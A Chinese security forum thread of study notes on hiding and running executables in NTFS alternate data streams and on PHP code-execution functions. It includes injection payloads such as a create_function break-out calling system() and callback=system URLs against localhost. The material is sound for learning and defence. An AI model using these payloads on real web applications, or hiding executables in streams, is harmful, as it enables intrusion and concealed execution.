吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 636|回复: 3
收起左侧

[学习记录] 学习记录备忘

[复制链接]
李朗8 发表于 2026-7-2 13:46
本帖最后由 李朗8 于 2026-7-21 17:35 编辑
目录:
        ADS(NTFS数据流)        
        PHP代码执行
    ADS(NTFS数据流)
    NTFS、ADS 简介

    NTFS(New Technology File System):windows内核支持的文件系统
    ADS(alternate data streams):交换数据流,可视为文件

    NTFS 与 ADS 之间的关系类似于:宿主文件(NTFS下的文件) 与 寄生文件(ADS)

    1、ADS可单独存在,也可与宿主文件关联存在
    2、单个宿主文件,可有多个不同名的ADS
    3、ADS 无后缀限制,可无后缀
    ADS的格式

    1、文件名:流名:流类型                               // FILE.txt:ADS.exe:$DATA
    2、:流名:流类型                                   // :ADS.pdf:$DATA,无宿主文件 ,单独存在
    创建ADS

    // 显示ADS命令    dir /r

    // 通过文件写 ADS
    echo "file test" > FILE.txt:ADS.exe                            // 创建 FILE.txt:ADS.exe:$DATA
    notepad FILE.txt:ADS.exe                                        // "file test"

    // 通过目录写 ADS
    echo "dir test" > DIR:ADS.exe                                  // 创建 DIR:ADS.exe:$DATA,DIR目录须存在
    notepad DIR:ADS.exe                                            // "dir test"

    // 通过磁盘写 ADS
    C:\Users\Administrator>echo "C:\ test !!!" > C:\:ADS.exe
    C:\>dir /r Users                                                              // 创建 ..:ADS.exe:$DATA,ADS附加在C盘根目录,所有一级子目录的 ".." 上
    C:\Users\Administrator>notepad C:\:ADS.exe                                    // "C:\ test !!!"

    // 单独创建 ADS
    echo "TEST file" >:ADS.png                                    // 创建 :ADS.png:$DATA
    notepad :ADS.png                                               // 报错:文件名、目录名或卷标语法不正确,用 NtfsStreamsEditor
    显示ADS

    1、dir /r
    2、.\streams64.exe -s                // https://learn.microsoft.com/en-us/sysinternals/downloads/streams
    3、NtfsStreamsEditor                // https://github.com/studycpp/NtfsStreamsEditor
    读ADS内容

    1、notepad                                               // 尽量用 busybox.exe,notepad支持不行

    2、more < FILE.txt:ADS.exe                                // more 须用重定向

    // https://frippery.org/busybox/
    3、busybox.exe cat FILE.txt:ADS.exe                       // nl、less 都行,优先用cmd,powershell会报错

    4、NtfsStreamsEditor                                     // 查看单独ADS的内容,对ADS进行(扫描、导入/导出、备份/还原)
    删除ADS

    streams64.exe -d FILE.txt            // 删除指定文件的 ADS
    streams64.exe -s -d                  // 删除当前目录下所有 ADS,谨慎使用

    NTFS支持ADS,把ADS复制到 非NTFS中,将丢弃ADS                // 非NTFS:FAT32(U盘)、ext4(linux)
    执行ADS

    // https://live.sysinternals.com/tcpview64.exe
    // https://live.sysinternals.com/PsExec64.exe

    type tcpview64.exe > TEST.txt:TCP.exe
        PsExec64.exe -d TEST.txt:TCP.exe                // 弹出 TCPView,PID
    sysinternals

    https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite

    https://live.sysinternals.com/        // 这儿更全
    浏览器ADS

    // IE、Edge、Chrome、firefox等下载的文件会添加ADS 
        (IE)MicrosoftEdgeSetup.exe:Zone.Identifier:$DATA    Book.pdf:Zone.Identifier:$DATA

    busybox64.exe nl busybox64.exe:Zone.Identifier

         1  [ZoneTransfer]
         2  ZoneId=3
         3  ReferrerUrl=https://frippery.org/busybox/
         4  HostUrl=https://frippery.org/files/busybox/busybox64.exe

学习 ADS(NTFS数据流),长了不少见识,记录一下

参考:
https://blog.nsfocus.net/ntfs-alternate-data-streams/
https://blog.csdn.net/AmrYu/article/details/122770431

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Ishisashi 发表于 2026-7-3 12:53
没记错的话「此文件来自其他计算机,可能被阻止以帮助保护该计算机」就是 Zone.Identifier 导致的。这个不仅仅是浏览器会加上,通过 SMB 传输时好像也会由 Windows Explorer 加上。
 楼主| 李朗8 发表于 2026-7-3 18:25
Ishisashi 发表于 2026-7-3 12:53
没记错的话「此文件来自其他计算机,可能被阻止以帮助保护该计算机」就是 Zone.Identifier 导致的。这个不 ...

我刚查了些资料,有很多启发
但无法确定是否 "Zone.Identifier 导致"
还有 "SMB 传输由 Windows Explorer 加上"
感觉这块儿,你研究的挺深,能否多加指教一下,谢谢
 楼主| 李朗8 发表于 2026-7-21 17:23
PHP代码执行
eval、assert
preg_replace()、mb_ereg_replace()、mb_eregi_replace()
preg_replace_callback()
create_function()
array_map()
call_user_func()、call_user_func_array()
array_filter()
usort()、uasort()
ob_start()、ob_end_flush()
${}、$_GET、$a($b)
eval(string $code): mixed

1、参数以变量形式传入时,可加 双引号,但不能加 单引号(单引号不解析变量)
2、可多层嵌套:eval(eval(eval(system('apt moo'))));

通过 括号、引号 闭合代码
通过 单行注释,截断右边代码,可通过 */   \* ,截断前后代码
通过 分号,执行多句代码

assert、eval区别

1、eval 执行多条语句,assert 执行1句
2、assert是函数,可直接、拼接调用,eval不行(语言结构)            // PHP7.0.0开始,assert是语言结构
3、eval 可嵌入php标签,assert不行
4、eval的参数,分号不能少,assert的参数,不用分号
preg_replace("/test/e",$_GET["h"],"jutst test");        // 在参数3里,查找参数1,若包含参数1,用参数2 替换,参数2会被执行

1、参数1使用修饰符 e(代表eval)
2、替换须成功
3、参数2能控制

mb_ereg_replace()、mb_eregi_replace()

与 preg_replace() 类似,e修饰符 为第4个参数        别名:mbereg_replace()    mbereg_ireplace()
preg_replace_callback(参数1,callback,参数3)            // 查看 参数3中是否包含参数1,若包含,将包含的数据交给 callback 处理

1、callback能控制
2、参数1能控制
3、替换须成功
// 内部执行的eval,8.0.0移除
// create_function(形参,函数体),参数类型都是字符串,返回1个 lambda函数

// 源码
error_reporting(0); // 关闭所有PHP错误报告
$sort_by = $_GET['sort_by'];
$sorter = 'strcmp';
$sort_function = 'return 1 * ' . $sorter . '($a["' . $sort_by . '"],$b["' . $sort_by . '"]);';
$lambda_func = create_function('$a,$b', $sort_function);     // " lambda_1"
$lambda_func(...$_GET);

调试:
$lambda_func:" lambda_1"
$sort_by:""]);}system('set');/*"
$sort_function:"return 1 * strcmp($a[""]);}system('set');/*"],$b[""]);}system('set');/*"]);"
$sorter:"strcmp"

// 将 调试的内容 拼凑起来
function  lambda_1($a,$b){
    return 1 * strcmp($a[""]);}system('set');/*"],$b[""]);}system('set');/*"]);
}

// 格式化后:
function lambda_1($a, $b)
{
    return 1 * strcmp($a[""]);
}
system('set');/*"],$b[""]);}system('set');/*"]);
}

1、将 lambda_1() 写出来
2、将所需的 形参,函数体 拼进去
3、在函数体中对 可控变量 进行注入(闭合,注释)
4、lambda_1()只要能注成功,payload就能打
array_map(callback,...array)            // 把数组中每个元素,都交给 callback 处理

$a = ['a', '9', 'apt moo', 'set'];
array_map($_GET['callback'], $a);

http://localhost:555/array_map.php?callback=system
call_user_func(callback,callback的参数)

// 只传 callback()
call_user_func($_GET['callback']);                                     // http://localhost:1111/call_user_func.php?callback=phpinfo

// 传多个callback的参数
call_user_func($_GET['callback'], $_GET['a'], $_GET['b']);            // http://localhost:1111/call_user_func.php?callback=var_dump&a=GOOD&b=LUCK

// 把函数体写进去
call_user_func(function ($arg) {echo $arg;}, GOODLUCK);        call_user_func(function () {echo 'GOOD LUCK';});

call_user_func_array(callback,callback的参数:array)

// 空数组,源码中的 [] 不能少,但传参时,可不传
call_user_func_array($_GET['callback'], []);                                //http://localhost:1111/call_user_func_array.php?callback=phpinfo

// 非空数组,须用 []
call_user_func_array($_GET['callback'], $_GET['a']);                        // http://localhost:1111/call_user_func_array.php?callback=system&a[]=ls
call_user_func_array($_GET['callback'], ['ls']);                           // http://localhost:1111/call_user_func_array.php?callback=system

// 把函数体写进去,数组不能省
call_user_func_array(function ($arg) {echo $arg;}, ['GOOD LUCK']);            call_user_func_array(function () {echo 'GOOD LUCK';}, []);
array_filter(array,callback)                                                // 把数组中每个元素,都交给 callback 处理(过滤)

// 单个参数
array_filter($_GET['a'], $_GET['callback']);                                // http://localhost:1111/array_filter.php?callback=system&a[]=ls

// 多个参数
array_filter($_GET, $_GET['callback']);                                    // http://localhost:1111/array_filter.php?callback=system&a=1&b=5&ABC=set
array_filter([1, 9, 'set'], $_GET['callback']);                            // http://localhost:1111/array_filter.php?callback=system
usort(array,callback)

// 函数初衷是排序,参数array的元素至少 2个
// 低版本(5.6.3*),似乎可用 system()接收多个参数,并成功执行
// uasort() 利用方式相同

uasort($_GET, 'var_dump');                                    // http://localhost:1111/usort.php?a=GOOD&2=LUCK
$a = usort(...$_GET);                                         // http://localhost:1111/usort.php?1[]=GOOD&1[]=LUCK&2=var_dump
ob_start('system');    echo 'firefox';                    // 打开firefox

ob_end_flush()                                            // 将执行结果的最后1行输出
// ${}
放入花括号的 php语句会被执行        ${system('apt moo')};        {${}};

// $_GET
$_GET['func']($_GET['cmd']);

// $a($b)
$a = 'system';        $b = 'apt moo';        $a($b);
GET、POST 传参时,参数名中包含 空格    .    [    +    会被转换成 _

// 5种标签
1、<?php
2、<?
3、<?=                                                                              // 等同于 <?php echo
4、<script language='php'>phpinfo();</script>
5、<% phpinfo(); %>                                                                // php.ini 中须开启 asp_tags=On,PHP 7.0.0 已移除
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-8-17 10:35

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表